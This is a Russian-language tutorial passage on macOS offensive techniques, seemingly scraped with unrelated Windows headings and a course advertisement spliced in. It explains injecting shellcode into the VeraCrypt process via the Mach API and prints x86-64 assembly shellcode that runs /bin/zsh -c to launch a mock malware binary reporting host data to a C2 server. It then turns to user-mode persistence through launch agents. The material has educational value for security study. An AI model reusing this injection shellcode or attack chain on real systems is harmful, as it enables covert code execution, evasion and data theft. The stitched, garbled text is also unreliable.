В инъекторе мы инъецируем шелл-код в целевой процесс при помощи Mach API в macOS. Здесь в дело вступает важное различие между потоками POSIX и потоками Mach. Потоки POSIX используют структуру данных thread local storage (TLS), необходимую для управления данными потоков. Однако у потоков Mach нет концепции TLS.

Когда мы инъецируем наш шелл-код в целевой процесс и создаём удалённый поток для его исполнения, то не можем просто задать в указателе команд структуру контекста потока и ожидать, что всё заработает без проблем. Почему? Потому что наш шелл-код, по сути, являющийся неуправляемым кодом, должен выполняться в контролируемом окружении, а переход от потока Mach напрямую к исполнению нашего шелл-кода может вызывать проблемы.

Поэтому, чтобы предотвратить потенциальные вылеты или ошибки, нам нужно обеспечить исполнение шелл-кода в контексте полнофункционального потока POSIX. Это значит, что в рамках процесса инъецирования нам нужно каким-то образом превратить шелл-код из исполняемого в контексте базового потока в исполняемый в контексте потока POSIX. Сделав это, мы создадим более стабильное окружение для исполнения, гарантирующее, что когда целевой процесс продолжит своё исполнение в начале шелл-кода, всё будет работать без ошибок. Этот процесс преобразования необходим для успешного исполнения инъецированного шелл-кода в пользовательском режиме без вылетов и неопределённого поведения.

Как видите, мы успешно инъецировали shellcode в процесс Veracrypt. Сообщение «Hello World!» выводится, и это подтверждает, что шелл-код исполняется ожидаемым образом и создаёт нужный вывод.

Как монтировать контейнер объектного хранилища в windows

Но давайте теперь обратим внимание на нечто другое. Помните код, который мы разработали для передачи системных данных на сервер C2? Что, если инъецируем шелл-код в процесс Veracrypt для исполнения нашего макета зловреда, позволяя ему установить соединение с сервером C2 и передавать данные хоста?

Допустим, я работаю с zsh; для исполнения команды шелла нам нужно выполнить системный вызов для запуска /bin/zsh -c. Для этого нам нужно воспользоваться execve. Что он делает? Он исполняет команду, на которую ссылается _pathname, которая в нашем случае будет путём к исполняемому файлу макета зловредного ПО.

Все дополнительные подробности будут указаны в комментариях внутри кода. В конце этого раздела есть косвенный переход, упрощающий исполнение последующих команд. Этот переход перенаправляет ход выполнения программы на адрес, хранящийся в подпрограмме exec, что гарантирует непрерывность исполнения.

global _main

_main:
    xor rdx, rdx        ; Clear rdx register
    push rdx            ; Push NULL onto stack (String terminator)
    mov rbx, '/bin/zsh' ; Load '/bin/zsh' into rbx
    push rbx            ; Push '/bin/zsh' onto stack
    mov rdi, rsp        ; Set rdi to point to '/bin/zsh\0'
    xor rax, rax        ; Clear rax register
    mov ax, 0x632D      ; Load "-c" into lower 16 bits of rax
    push rax            ; Push "-c" onto stack
    mov rbx, rsp        ; Set rbx to point to "-c"
    push rdx            ; Push NULL onto stack
    jmp short dummy     ; Jump to label dummy

exec:
    push rbx            ; Push "-c" onto stack
    push rdi            ; Push '/bin/zsh' onto stack
    mov rsi, rsp        ; Set RSI to point to stack
    push 59             ; Push syscall number
    pop rax             ; Pop syscall number into rax
    bts rax, 25         ; Set 25th bit of rax (AT_FDCWD flag)
    syscall             ; Invoke syscall

dummy:
    call exec                   ; Call subroutine exec
    db '/Users/foo/dummy_m', 0  ; Define string
    push rdx                    ; Push NULL onto stack

Теперь проверим работу этого кода. Как обычно, нам нужно будет извлечь шелл-код и протестировать его, прежде чем пользоваться им. И на этом всё! Мы успешно инъецировали шелл-код, запускающий макет зловреда. Теперь мы получаем информацию хоста на сервер C2. Можно развить всё это, исследовав дополнительные возможности и векторы атак, и даже достичь постоянства хранения, но пока этого достаточно.

Как монтировать контейнер объектного хранилища в windows

Исполнение и отправка информации хоста не приносит никакого вреда вашему компьютеру. Наш «макет» — это больше демонстрация способа запуска вредоносного ПО и его распространения при помощи методик инъецирования. Также он полезен для избегания защитных мер или добавления функций бэкдора. Мы лишь вкратце рассмотрели Mach API, изучив системные вызовы и методики инъецирования кода, а также то, как нападающий может использовать нечто наподобие инъецирования процессов для обеспечения зловредного поведения. В этом примере мы использовали безвредный процесс для инъецирования и исполнения «зловредного кода», потенциально позволяющего раскрыть нападающему данные хоста. Можно и пойти глубже, но здесь мы только учимся, и я советую экспериментировать с осторожностью. При использовании инъецирования кода нужно быть очень аккуратным.

Надеюсь, вы извлекли что-то полезное из этого простого введения. Весь использованный код можно найти в Github.

Закрепление на конечном устройстве

Теперь поговорим о закрепление на конечном устройстве (persistence). Это необходимый этап после того, как мы получили первоначальный доступ и поняли ситуацию. Мы не хотим полагаться только на эту первоначальную точку доступа, потому что по различным причинам она может исчезнуть: например, в случае проблем с компьютером пользователя. Поэтому важно иметь способ сохранения доступа к жертве.

Хотя для систем MacOS существует множество методик обеспечения закрепление на конечном устройстве, многие из них требуют рут-привилегий или эксплойтинга эскалации какой-нибудь низкоуровневой уязвимости. Чтобы не усложнять, давайте сосредоточимся на закрепление на конечном устройстве в режиме пользователя. Сначала я опишу некоторые из известных методик обеспечения закрепление на конечном устройстве, а также несколько менее известных, чтобы вы могли понять, как работают эти методики и как их могут использовать зловреды.

Перед тем, как приступить к написанию этой статьи, я проанализировал примеры атак на macOS и прочитал отчёты об угрозах. Общее в них было то, что основными способами обеспечения закрепление на конечном устройстве с большим отрывом остаются launch agent и launch daemon. Почему? Благодаря их простоте и гибкости. Можно сравнить их с закрепление на конечном устройстве в папке автозагрузки в Windows. Однако распознавать такие методики довольно легко. Помните, что мы говорили о LOLBins? Это примерно столь же простой и распространённый способ, и методики его распознавания тоже хорошо известны.

Открыть доступ

Курсы программирования для новичков и опытных разработчиков. Начните обучение бесплатно

  • 130 курсов, 2000+ часов теории

  • 1000 практических заданий в браузере

  • 360 000 студентов

Наши выпускники работают в компаниях:

Заключение

Надеюсь, эта статья была полезной и интересной. Мы рассмотрели широкий спектр тем, связанных с архитектурой macOS и API, но изучили только самые основы. Поговорив о методиках и написав простой код с использованием Mach API, мы обрели более глубокое понимание окружения, его особенностей и безопасности. Мы рассмотрели такие фундаментальные концепции, как инъецирование кода и простые методики постоянного хранения и даже изучили на примерах системные вызовы macOS.

:/>  Не работает sound booster windows 10

Оставьте комментарий